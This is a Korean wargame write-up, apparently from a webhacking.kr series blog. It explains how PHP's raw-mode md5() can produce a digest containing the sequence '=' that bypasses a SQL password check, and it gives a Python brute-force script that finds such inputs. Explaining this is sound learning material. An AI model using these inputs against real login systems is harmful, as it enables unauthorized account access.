보통 md5('value')로 hash값을 만들면 32자리 hex값으로 나오게 됩니다.
하지만 md5('value', true)로 hash값을 만들면 16자리 바이너리 형태로 나오게 됩니다.
바이너리 형태로 나오게 되면서 취약점이 발생합니다.
password='aaa'='bbb' 라는 식은 password='aaa' 부분이 false, bool 연산의 문자열은 false이기에 'bbb'도 false가 나와
true로 query가 작동하게 됩니다.
그렇다면 md5를 한 바이너리 값 중에서 '=' 라는 문자열이 나오게 되면 false + false = true 로 된다는 것입니다.
python3 코드를 이용해 해당 값들을 구할 수 있습니다.
나오는 값중 [ '=' ] 이 값 전후로 다른 값들이 있어야 하고, 어떤 값들은 성공하지 않을 수 있습니다.
1 2 3 4 5 6 7 8 9 10 | import hashlib for password in range(1,99999999): password = str(password).encode('utf-8') md5_hash = hashlib.md5(password).digest() if "'='" in str(md5_hash): print(str(md5_hash)) print(password) print('──────────────────────────') | cs |
[참고]
md5 raw hash를 이용한 sql injection: bbolmin.tistory.com/77
'WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] prob 18 (0) | 2018.12.13 |
---|---|
[webhacking.kr] prob 58 (0) | 2018.12.07 |
[webhacking.kr] prob 54 (0) | 2018.12.07 |
[webhacking.kr] prob 47 (0) | 2018.12.07 |
[webhacking.kr] prob 42 (0) | 2018.12.06 |